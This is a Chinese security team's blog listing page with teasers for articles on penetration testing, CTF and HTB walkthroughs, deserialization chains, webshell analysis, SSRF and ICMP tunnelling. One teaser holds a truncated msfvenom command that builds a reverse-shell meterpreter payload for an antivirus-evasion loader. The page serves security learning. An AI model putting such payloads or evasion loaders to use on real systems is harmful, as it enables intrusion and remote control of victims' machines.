戟星安全实验室 忆享科技旗下高端的网络安全攻防服务团队.安服内容包括渗透测试、代码审计、应急响应、漏洞研究、威胁情报、安全运维、攻防演练等本文约2000字...
04月20日1,247 views评论https
java
渗透中反序列化工具ysoserial使用说明
04月20日1,247 views评论https
java
04月20日1,247 views评论https
java
OSCP难度靶机之FRISTILEAKS: 1.3
虚拟机信息虚拟机下载地址：https://www.vulnhub.com/entry/fristileaks-13,133/虚拟机简介：需要手动将 VM 的 MAC 地址编辑为：08:00:27:A5...
04月17日70 views评论admin
http
简单的公鸡队样本分析
结束了，发一个今天给我的样本的简单分析，因为样本确实没有用到任何的对抗技巧，所以还是很简单的。如果不是这种很简单的马，分析过程是非常需要费时间的，这个需要了解，并不是这么轻轻松松。顺便提一下这是前同事...
04月13日34 views评论base64
shellcode
Python编写loader加载shellcode免杀学习
（1）msf生成shellcode，使用base64编码。msfvenom -p windows/x64/meterpreter/reverse_tcp --encrypt base64 lhost=...
04月11日76 views评论python
shellcode
HTB靶场系列之Celestial通关攻略
本次write up内容是Hack The Box里machines的靶场Celestial。1-信息收集首先使用Nmap进行端口嗅探，只发现了开放3000端口。访问3000端口的WEB页面，页面内容...
04月09日117 views评论javascript
数据包
印象笔记 价值 5000$的SSRF 案例分析
Evernote是一款記事軟體，这个漏洞由@neolex师傅发现并提交，目前漏洞官方已修复，已经公开披露了，来看看这个案例吧https://hackerone.com/reports/1189367打...
04月06日75 views评论ssrf
白名单
常见认证机制及JWT介绍
常见认证机制及JWT介绍HTTP Basic Auth HTTP Basic Auth就是每次请求都会提供用户的用户名和密码 ， 也就是说它是使用最简单的认证方式，只需要提供密码即可。 由于它每次都需...
04月06日118 views评论cookie
system
1024杯-抽象语言
先手共还原 python字节码, 然后再手算2进制,最后一个字符一个字符算, 我做了大约三个小时吧, 做题记录在家里, 忘记保存了,就很难受. 这边就不演示了 #coding = utf-8 impo...
04月06日CTF专场39 views1024杯-抽象语言已关闭评论flag
print
分享 | 菜刀冰蝎蚁剑哥斯拉等webshell工具及特征分析
原文作者：小帽子summer 原文地址：https://www.freebuf.com/articles/web/324622.html前言在工作中经常会遇到各种websehll，黑客通常...
04月06日234 views评论php
webshell
奇思妙想之用JS给图片加口令
本文展示一种用JS给图片加口令的方法，可以将任意图片转化为html，输入正确的口令才能打开查看图片。效果如下：效果说明1.它最终只有一个文件。并非一张图片和一个html，不是在html中引用图片，而是...
04月02日56 views评论base64
html
ThinkPHP 6.x反序列化POP链（二）
环境准备安装ThinkPHP 6.0composer create-project topthink/think=6.0.x-dev v6.0修改application/index/controlle...
03月07日128 views评论php
反序列化
ICMP隧道进行文件传输 － 一个学习的case
在最近的一个渗透测试项目中，我们遇到的一种情况，服务器上不允许出站流量。只有ICMP（和DNS）的流量被允许。在这篇博客文章我们来讨论如何使用ICMP隧道传输一个未被过滤的数据。设定一个场景，场景是一...
02月28日453 views评论web
应用程序
5